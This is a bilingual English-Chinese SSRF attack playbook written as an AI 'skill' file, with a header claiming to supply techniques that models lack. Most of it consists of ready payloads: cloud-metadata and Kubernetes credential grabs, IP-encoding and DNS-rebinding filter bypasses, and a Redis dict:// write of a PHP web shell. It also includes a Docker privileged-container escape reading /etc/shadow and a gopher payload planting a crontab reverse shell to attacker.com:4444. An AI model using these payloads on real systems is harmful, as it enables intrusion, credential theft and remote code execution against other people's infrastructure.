ssrf-server-side-request-forgery
Compare original and translation side by side
🇺🇸
Original
English🇨🇳
Translation
ChineseSKILL: Server-Side Request Forgery (SSRF) — Expert Attack Playbook
SKILL: 服务端请求伪造(SSRF)—— 高级攻击手册
AI LOAD INSTRUCTION: Expert SSRF techniques. Covers URL filter bypass, cloud metadata endpoints, protocol exploitation, blind SSRF detection, and chaining to RCE. Base models know basic 169.254.169.254 — this file covers what they miss. For real-world CVE chains, DNS Rebinding deep dives, K8s SSRF, and SSRF → Redis → RCE full exploitation, load the companion SCENARIOS.md.
AI加载说明:高级SSRF技术,覆盖URL过滤器绕过、云元数据端点、协议利用、盲SSRF检测,以及串联到RCE的利用链。基础模型仅了解基础的169.254.169.254相关知识,本文件包含基础模型缺失的进阶内容。如需真实世界CVE利用链、DNS Rebinding深度解析、K8s SSRF、SSRF→Redis→RCE完整利用流程,请加载配套的SCENARIOS.md。
0. QUICK START
0. 快速入门
Extended Scenarios
扩展场景
Also load SCENARIOS.md when you need:
- WebLogic SSRF (CVE-2014-4210) — +
uddiexplorer/SearchPublicRegistries.jspparameter +operatorCRLF to inject Redis commands%0D%0A - SSRF → internal Redis → write crontab reverse shell complete payload chain
- DNS Rebinding deep dive — TTL=0 trick, initial-legit→second-internal resolution, service
rbndr.us - Kubernetes SSRF (CVE-2020-8555) and bypass (CVE-2020-8562) via DNS rebinding
- SSRF through PDF/screenshot generators — and
<iframe>in HTML-to-PDF<img> - Gopher protocol full TCP injection — Redis, MySQL, FastCGI payloads via Gopherus
- URL parser confusion for filter bypass — ,
#@,\@, IPv6-mapped IPv4%00@
如果只是刚发现一个会取 URL 的参数,直接在这里做第一轮确认即可。
当你需要以下内容时也请加载SCENARIOS.md:
- WebLogic SSRF(CVE-2014-4210)—— +
uddiexplorer/SearchPublicRegistries.jsp参数 +operatorCRLF注入Redis命令%0D%0A - SSRF→内部Redis→写入crontab反弹shell完整 payload 链
- DNS Rebinding 深度解析——TTL=0技巧、初始合法→二次内部解析、服务
rbndr.us - Kubernetes SSRF(CVE-2020-8555)以及通过DNS重绑定的绕过方法(CVE-2020-8562)
- 通过PDF/截图生成工具的SSRF——HTML转PDF中的和
<iframe>标签<img> - Gopher协议全量TCP注入——通过Gopherus生成Redis、MySQL、FastCGI payload
- 利用URL解析器混淆绕过过滤——、
#@、\@、IPv6映射的IPv4地址%00@
如果只是刚发现一个会取URL的参数,直接在这里做第一轮确认即可。
First-pass payloads
首轮测试payload
text
http://127.0.0.1/
http://localhost/
http://169.254.169.254/latest/meta-data/
http://[::1]/
http://127.1/text
http://127.0.0.1/
http://localhost/
http://169.254.169.254/latest/meta-data/
http://[::1]/
http://127.1/Host validation bypass families
主机校验绕过分类
| Validation Type | Try |
|---|---|
blocks | |
| blocks direct IP only | internal DNS name, decimal/octal/hex IP forms |
| allowlist by prefix | username part, subdomain confusion, redirect chain |
| follows redirects | benign external URL redirecting to internal target |
| parses once, fetches twice | mixed encoding or DNS rebinding style targets |
| 校验类型 | 测试方案 |
|---|---|
拦截 | |
| 仅拦截直接IP | 内部DNS名称、十进制/八进制/十六进制IP格式 |
| 前缀白名单校验 | 用户名部分、子域名混淆、重定向链 |
| 跟随重定向 | 跳转到内部目标的无害外部URL |
| 仅解析一次、实际请求两次 | 混合编码或者DNS重绑定风格的目标 |
Protocol routing
协议路由选择
| Goal | Protocol / Target |
|---|---|
| cloud credentials | metadata HTTP endpoints |
| internal HTTP admin | |
| Redis / raw TCP style abuse | |
| local file read candidate | |
| dictionary / banner tests | |
| 目标 | 协议 / 目标地址 |
|---|---|
| 云凭证 | 元数据HTTP端点 |
| 内部HTTP后台 | |
| Redis / 原始TCP类滥用 | |
| 本地文件读取候选 | |
| 字典 / 服务标识测试 | |
1. FINDING SSRF SURFACE
1. 查找SSRF攻击面
Look for any parameter containing DNS names, IP addresses, or URLs:
loc= url= path= endpoint=
imageUrl= dest= redirect= uri=
callback= load= file= resource=
link= src= data= ref=Less obvious SSRF vectors:
- PDF/screenshot generation (URL to capture)
- Webhook configuration fields
- Import/export via URL (CSV import, RSS/Atom feeds)
- OAuth redirect URI (sometimes triggers server-side fetch)
- /
X-Forwarded-Hostheaders in proxy chainsX-Real-IP - XML with external entity (
DOCTYPE,file://)http:// - GraphQL directive (federation)
@link - Content-Type: pages parsed for
text/htmlpreload headers<link>
寻找任何包含DNS名称、IP地址或者URL的参数:
loc= url= path= endpoint=
imageUrl= dest= redirect= uri=
callback= load= file= resource=
link= src= data= ref=不太明显的SSRF攻击向量:
- PDF/截图生成(需要捕获的URL)
- Webhook配置字段
- 基于URL的导入/导出功能(CSV导入、RSS/Atom订阅源)
- OAuth重定向URI(有时会触发服务端请求)
- 代理链中的/
X-Forwarded-Host请求头X-Real-IP - 包含外部实体的XML (
DOCTYPE,file://)http:// - GraphQL 指令(联邦模式)
@link - Content-Type为的页面会解析
text/html预加载头<link>
2. BASIC CONFIRMATION METHODOLOGY
2. 基础验证方法
Step 1: Supply your Burp Collaborator / interact.sh URL
→ Check server initiates outbound connection (full SSRF confirmed)
Step 2: If no callback → test time-based (open port = fast, closed = slow/reset):
Compare response time for:
http://192.168.1.1:22 (likely open → fast)
http://192.168.1.1:9999 (likely closed → slow/timeout)
Step 3: Try accessing localhost services:
http://127.0.0.1:8080
http://127.0.0.1:22
http://127.0.0.1:6379 (Redis)
http://127.0.0.1:9200 (Elasticsearch)
http://127.0.0.1:5984 (CouchDB)
http://127.0.0.1:2375 (Docker daemon — critical!)
http://127.0.0.1:4840 (internal admin)步骤1:传入你的Burp Collaborator / interact.sh URL
→ 检查服务器是否发起出站连接(确认存在完整SSRF)
步骤2:如果没有回调 → 测试时间差(开放端口响应快,关闭端口响应慢/重置):
对比以下地址的响应时间:
http://192.168.1.1:22 (大概率开放 → 响应快)
http://192.168.1.1:9999 (大概率关闭 → 响应慢/超时)
步骤3:尝试访问本地服务:
http://127.0.0.1:8080
http://127.0.0.1:22
http://127.0.0.1:6379 (Redis)
http://127.0.0.1:9200 (Elasticsearch)
http://127.0.0.1:5984 (CouchDB)
http://127.0.0.1:2375 (Docker守护进程 —— 高危!)
http://127.0.0.1:4840 (内部管理后台)3. CLOUD METADATA ENDPOINTS — MUST-TRY
3. 云元数据端点 —— 必测项
AWS EC2 IMDSv1 (no auth required — critical)
AWS EC2 IMDSv1(无需认证 —— 高危)
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME
http://169.254.169.254/latest/user-data
http://169.254.169.254/latest/meta-data/hostname
http://169.254.169.254/latest/meta-data/public-keys/0/openssh-keyhttp://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME
http://169.254.169.254/latest/user-data
http://169.254.169.254/latest/meta-data/hostname
http://169.254.169.254/latest/meta-data/public-keys/0/openssh-keyAWS IMDSv2 (token required — but check if SSRF can GET the token)
AWS IMDSv2(需要token —— 但可以检查SSRF是否能获取token)
Step 1: PUT http://169.254.169.254/latest/api/token
Header: X-aws-ec2-metadata-token-ttl-seconds: 21600
Step 2: GET http://169.254.169.254/latest/meta-data/
Header: X-aws-ec2-metadata-token: TOKENIf SSRF supports custom headers → full IMDSv2 bypass.
步骤1:PUT http://169.254.169.254/latest/api/token
请求头: X-aws-ec2-metadata-token-ttl-seconds: 21600
步骤2:GET http://169.254.169.254/latest/meta-data/
请求头: X-aws-ec2-metadata-token: TOKEN如果SSRF支持自定义请求头 → 可完全绕过IMDSv2防护。
Google Cloud
Google Cloud
http://metadata.google.internal/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
Headers: Metadata-Flavor: Googlehttp://metadata.google.internal/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
请求头: Metadata-Flavor: GoogleAzure
Azure
http://169.254.169.254/metadata/instance?api-version=2021-02-01
Headers: Metadata: true
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01&resource=https://management.azure.com/http://169.254.169.254/metadata/instance?api-version=2021-02-01
请求头: Metadata: true
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01&resource=https://management.azure.com/Alibaba Cloud
阿里云
http://100.100.100.200/latest/meta-data/
http://100.100.100.200/latest/meta-data/ram/security-credentials/http://100.100.100.200/latest/meta-data/
http://100.100.100.200/latest/meta-data/ram/security-credentials/Kubernetes Service Account
Kubernetes服务账号
file:///var/run/secrets/kubernetes.io/serviceaccount/token
file:///var/run/secrets/kubernetes.io/serviceaccount/ca.crt
http://kubernetes.default.svc/api/v1/namespaces/default/secretsfile:///var/run/secrets/kubernetes.io/serviceaccount/token
file:///var/run/secrets/kubernetes.io/serviceaccount/ca.crt
http://kubernetes.default.svc/api/v1/namespaces/default/secrets4. IP ADDRESS FILTER BYPASS TECHNIQUES
4. IP地址过滤绕过技术
When , , are blocked:
169.254.169.254127.0.0.1localhost当、、被拦截时:
169.254.169.254127.0.0.1localhostLocalhost Variants
Localhost变体
127.0.0.1
127.1
127.0.1
127.000.000.001 ← octal padding
0x7f000001 ← hex
2130706433 ← decimal (0x7f000001)
0177.0000.0000.0001 ← octal
[::] ← IPv6 loopback
[::1] ← IPv6 loopback
[::ffff:127.0.0.1] ← IPv4-mapped IPv6127.0.0.1
127.1
127.0.1
127.000.000.001 ← 八进制补零
0x7f000001 ← 十六进制
2130706433 ← 十进制(对应0x7f000001)
0177.0000.0000.0001 ← 八进制
[::] ← IPv6回环地址
[::1] ← IPv6回环地址
[::ffff:127.0.0.1] ← IPv4映射的IPv6地址169.254.169.254 Variants
169.254.169.254变体
169.254.169.254
2852039166 ← decimal
0xa9fea9fe ← hex
0251.0376.0251.0376 ← octal
[::ffff:169.254.169.254] ← IPv6
169.254.169.254.nip.io ← DNS rebinding service169.254.169.254
2852039166 ← 十进制
0xa9fea9fe ← 十六进制
0251.0376.0251.0376 ← 八进制
[::ffff:169.254.169.254] ← IPv6地址
169.254.169.254.nip.io ← DNS重绑定服务Private Network Ranges
私有网络网段
10.0.0.0/8
172.16.0.0/12
192.168.0.0/16
fc00::/7 ← IPv6 private10.0.0.0/8
172.16.0.0/12
192.168.0.0/16
fc00::/7 ← IPv6私有网段Bypass Filter via DNS Input
通过DNS输入绕过过滤
If filter checks DNS-resolved IP (not hostname):
http://attacker.com/ ← DNS A record points to 169.254.169.254Use DNS rebinding: initial lookup returns valid IP → passes filter → second request returns internal IP.
如果过滤器校验的是DNS解析后的IP(而非主机名):
http://attacker.com/ ← DNS A记录指向169.254.169.254使用DNS重绑定:首次查询返回合法IP → 通过过滤 → 第二次请求返回内部IP。
5. URL SCHEME ATTACKS
5. URL scheme攻击
When is allowed or weakly filtered:
http://file:///etc/passwd
file:///proc/self/environ
file:///proc/net/arp ← reveals internal network ARP table
file:///proc/net/tcp ← open network connections
dict://127.0.0.1:6379/INFO ← Redis INFO command via dict://
gopher://127.0.0.1:6379/_INFO%0d%0a ← Redis via gopher
gopher://127.0.0.1:9200/ ← Elasticsearch
sftp://attacker.com:11111/ ← triggers SFTP connection (credential hash)
ldap://attacker.com:389/ ← triggers LDAP bind
ftp://attacker.com/ ← triggers FTP connection当被允许或者过滤较弱时:
http://file:///etc/passwd
file:///proc/self/environ
file:///proc/net/arp ← 泄露内部网络ARP表
file:///proc/net/tcp ← 开放的网络连接
dict://127.0.0.1:6379/INFO ← 通过dict://执行Redis INFO命令
gopher://127.0.0.1:6379/_INFO%0d%0a ← 通过gopher访问Redis
gopher://127.0.0.1:9200/ ← 访问Elasticsearch
sftp://attacker.com:11111/ ← 触发SFTP连接(可获取凭证哈希)
ldap://attacker.com:389/ ← 触发LDAP绑定
ftp://attacker.com/ ← 触发FTP连接Redis Gopher SSRF (full RCE potential)
Redis Gopher SSRF(具备完整RCE能力)
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2456%0D%0A%0D%0A%0A%0A*/1 * * * * bash -i >& /dev/tcp/attacker.com/4444 0>&1%0A%0A%0A%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2416%0D%0A/var/spool/cron/%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0Agopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2456%0D%0A%0D%0A%0A%0A*/1 * * * * bash -i >& /dev/tcp/attacker.com/4444 0>&1%0A%0A%0A%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2416%0D%0A/var/spool/cron/%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A6. BLIND SSRF DETECTION
6. 盲SSRF检测
When response doesn't reflect fetched content:
- Burp Collaborator / interact.sh: check for DNS + HTTP request from server
- Pingback/webhook abuse: configure application's own webhook to your URL
- Timing analysis: Internal open port vs closed port response time difference
- Error analysis: Different error messages for "host not found" vs "connection refused" vs "timeout" reveal internal network topology
当响应不返回获取到的内容时:
- Burp Collaborator / interact.sh:检查是否有来自服务器的DNS+HTTP请求
- Pingback/webhook滥用:将应用自身的webhook配置为你的URL
- 时间分析:内部开放端口和关闭端口的响应时间差
- 错误分析:「主机未找到」、「连接被拒绝」、「超时」等不同错误信息可以揭露内部网络拓扑
7. INTERNAL SERVICE EXPLOITATION
7. 内部服务利用
Docker API (2375 unauthenticated)
Docker API(2375端口未授权访问)
http://127.0.0.1:2375/v1.24/containers/json ← list containers
http://127.0.0.1:2375/v1.24/images/json ← list imageshttp://127.0.0.1:2375/v1.24/containers/json ← 列出容器
http://127.0.0.1:2375/v1.24/images/json ← 列出镜像Create privileged container → escape to host:
创建特权容器 → 逃逸到宿主机:
POST http://127.0.0.1:2375/v1.24/containers/create
{"Image":"alpine","Cmd":["cat","/etc/shadow"],"HostConfig":{"Binds":["/:/host"]}}
undefinedPOST http://127.0.0.1:2375/v1.24/containers/create
{"Image":"alpine","Cmd":["cat","/etc/shadow"],"HostConfig":{"Binds":["/:/host"]}}
undefinedElasticsearch (9200 no-auth default)
Elasticsearch(9200端口默认无认证)
http://127.0.0.1:9200/_cat/indices
http://127.0.0.1:9200/.kibana/_search
http://127.0.0.1:9200/INDEX_NAME/_search?q=*http://127.0.0.1:9200/_cat/indices
http://127.0.0.1:9200/.kibana/_search
http://127.0.0.1:9200/INDEX_NAME/_search?q=*Redis (6379 — no-auth common)
Redis(6379端口常见无认证配置)
dict://127.0.0.1:6379/CONFIG:SET:dir:/var/www/html
dict://127.0.0.1:6379/CONFIG:SET:dbfilename:shell.php
dict://127.0.0.1:6379/SET:key:<?php system($_GET[c]);?>
dict://127.0.0.1:6379/BGSAVEdict://127.0.0.1:6379/CONFIG:SET:dir:/var/www/html
dict://127.0.0.1:6379/CONFIG:SET:dbfilename:shell.php
dict://127.0.0.1:6379/SET:key:<?php system($_GET[c]);?>
dict://127.0.0.1:6379/BGSAVEInternal Admin Panels
内部管理后台
http://127.0.0.1:8080/admin
http://127.0.0.1:8443/admin
http://127.0.0.1:9000/actuator ← Spring Boot actuator (exposed endpoints)
http://127.0.0.1:9000/actuator/shutdown
http://127.0.0.1:9000/actuator/envhttp://127.0.0.1:8080/admin
http://127.0.0.1:8443/admin
http://127.0.0.1:9000/actuator ← Spring Boot actuator(暴露端点)
http://127.0.0.1:9000/actuator/shutdown
http://127.0.0.1:9000/actuator/env8. SSRF + FILTER BYPASS DECISION TREE
8. SSRF+过滤器绕过决策树
SSRF parameter found?
├── Try http://169.254.169.254/ directly → blocked?
│ ├── Try decimal/hex/octal variants
│ ├── Try IPv6 variants [::ffff:169.254.169.254]
│ ├── Try DNS rebinding (nip.io, custom NS)
│ └── Try redirect: attacker.com → 169.254.169.254 (302)
│
├── Try http://127.0.0.1/ → blocked?
│ ├── Try 127.1 / 127.0.1 / 0x7f000001 / 2130706433
│ ├── Try localhost → might not be blocked
│ └── Try IPv6 [::1]
│
├── What protocols are allowed?
│ ├── dict:// → test Redis, Memcached
│ ├── gopher:// → full TCP data injection (target Redis/SMTP)
│ ├── file:// → local file read
│ └── sftp:// ldap:// ftp:// → network interactions
│
└── Blind SSRF → use Burp Collaborator
└── DNS-only → use DNS rebinding or SSRF with OOB DNS找到SSRF参数了?
├── 直接尝试http://169.254.169.254/ → 被拦截?
│ ├── 尝试十进制/十六进制/八进制变体
│ ├── 尝试IPv6变体[::ffff:169.254.169.254]
│ ├── 尝试DNS重绑定(nip.io、自定义NS)
│ └── 尝试重定向:attacker.com → 169.254.169.254(302)
│
├── 尝试http://127.0.0.1/ → 被拦截?
│ ├── 尝试127.1 / 127.0.1 / 0x7f000001 / 2130706433
│ ├── 尝试localhost → 可能未被拦截
│ └── 尝试IPv6 [::1]
│
├── 允许哪些协议?
│ ├── dict:// → 测试Redis、Memcached
│ ├── gopher:// → 全量TCP数据注入(目标Redis/SMTP)
│ ├── file:// → 本地文件读取
│ └── sftp:// ldap:// ftp:// → 网络交互
│
└── 盲SSRF → 使用Burp Collaborator
└── 仅DNS → 使用DNS重绑定或者带外DNS的SSRF9. THE SSRF-FILTER MINDSET
9. SSRF过滤器的常见思维误区
From zseano's methodology: if developers filter only directly but not (full path), or forget about:
169.254.169.254http://169.254.169.254/latest/meta-data- IPv6 equivalents
- DNS names that resolve to internal IPs
- Redirect chains (server follows 302 to internal IP)
Classic gap: App filters but not or or .
127.0.0.1127.1[::1]localhostApplication-layer SSRF via XML (when app parses XML):
xml
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]>
<request>&xxe;</request>来自zseano的方法论:如果开发者仅直接过滤,但不过滤(完整路径),或者忘记了:
169.254.169.254http://169.254.169.254/latest/meta-data- IPv6等价地址
- 解析到内部IP的DNS名称
- 重定向链(服务器跟随302跳转到内部IP)
典型漏洞缺口:应用过滤了但没有过滤、或者。
127.0.0.1127.1[::1]localhost基于XML的应用层SSRF(当应用解析XML时):
xml
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]>
<request>&xxe;</request>